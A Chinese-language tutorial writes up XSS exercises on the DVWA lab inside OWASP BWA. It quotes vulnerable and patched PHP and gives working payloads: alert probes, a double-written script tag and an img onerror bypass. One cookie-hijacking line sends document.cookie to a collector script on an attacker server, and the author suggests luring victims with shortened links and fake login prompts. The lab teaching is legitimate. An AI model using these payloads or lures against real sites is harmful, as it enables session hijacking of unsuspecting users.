XSS漏洞利用 + owasp练习
写在前面
靶场来源:owaspbwa
XSS主要原因: 过于信任客户端提交的数据!
XSS主要分类:
反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大, 因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
DOM型XSS,对于DOM型其实和反射性很像,也是能够在网页上快速的进行反映。只是参数是直接传入DOM树使用js来进行执行,只是可以在payload前加“#”,从而使其不发送到服务器端,只发送到浏览器,同样也可以使用img标签代替script标签执行JavaScript脚本。这里暂时不会介绍太多。
对于反射性比较经典的利用是cookie劫持。比如我们发现了一个反射性xss,它是通过get或者post进行工作,然后我们先搭建一个远程服务器,然后利用反射性重定向至我们的服务器的脚本记录下当前用户访问的cookie进行劫持。
自然,这样的难度比较高,首先由于入侵的反射是在response中,那么首先需要诱导用户发起request,建议可以进行一些社工诱导并且进行短链接变换。
还有就是从社工的思路来操作,比如点击链接后说“请登陆我们的新站点”
后面当然也有beef的钩子之类的,不过要让用户自己点击,难度还是不小
对于储存型,一旦出现这样的漏洞是非常危险的,储存在服务器上可以长期对访问用户进行攻击。
XSS渗透思路
反射性(owasp-low)
首先进行弹窗探测:<script>alert('xss')</script>
查看当前cookie:<script>alert(document.cookie)</script>
探测成功,发现反射性漏洞。
接下来进行cookie
劫持示例:
首先先开个攻击者服务器:
(这里我就开了自己的一个服务器,index是显示php版本)
在服务器上写一个脚本:
然后植入到xss点:
<script>window.open("http://127.0.0.1/cookie.php?cookie="+document.cookie)</script>
植入之后就是:
http://172.20.240.17/dvwa/vulnerabilities/xss_r/?name=<script>window.open("http://127.0.0.1/cookie.php?cookie="+document.cookie)</script>
当然你可以先url
编码,一旦点击就能够劫持出cookie
。
值得一提的是很多浏览器的安全策略会禁止不信任的网站弹窗,这种方法的局限性较大,并且url不经过短链接变换是非常可疑的。
打开空白页,触发脚本(已允许弹窗)
服务器端捕捉到cookie
:
这里多点了几次 [^_^]
这里的利用就到这里,关于beef等工具会后面再说
反射性(owasp-mid)
探测不起作用了,看看源码:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>
这里就是一个str_replace()
过滤,显然可以使用双写绕过
payload:
<scrip<script>t>alert('xss')</script>
成功绕过:
其他就不赘述了
只是多写了一次
反射性(owasp-high)
由于版本问题,我这里已经是修复好的。
下面是我找到的(应该是版本问题)
这里就是使用正则进行替换,显然script完全不能使用了。
但是能加载js
脚本的标签不只有<script>
,还有<img>,<iframe>
<img src="" οnerrοr="alert('xss')">
就像这样,利用onerror
工作就行。
这里给出我的版本,是这样:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
这里使用了一个关键的函数htmlspecialchars()
来看看吧;
能够转化为实体,大大提高了安全性。
储存型(owasp-low)
在开始之前我们先要打开数据库:
简单做个test:
开始探测:
不仅能够弹窗,而且刷新也不会消失。对访问的每一个用户都有效。危害很大
现在如果我们将cookie劫持放在这个页面,后果可想而知,对于每一个点开这个网页的用户,都会被恶意跳转并劫持cookie
.
值得一提的是大多数留言板可能会对写入字符的数量进行限制,如果是前端限制,记得把限制给解除就好。对于更多复杂的限制,我们后面再说。
这里给出利用完成后的截图:
这里不再赘述利用过程。同时由于会一直存在,结合msf
的浏览器漏洞、钓鱼网站也是比较常见的一种利用方式。
攻击成功后记得重置数据库,不然会一直跳窗口哦
储存型(owasp-mid)
先看源码:
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
这里也是一个str_replace()
,利用双写或者大小写混写即可,和之前原理是一样的,就不再赘述了
储存型(owasp-high)
这里同样因为版本问题,是已经写好的版本:
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
主要就是htmlspecialchars()
的利用,前面也已经写过了,这里也不再赘述。
但是实体化就一定能避免xss吗?还有什么其他挖掘xss的方法,可以看后续更多的xss例子和讲解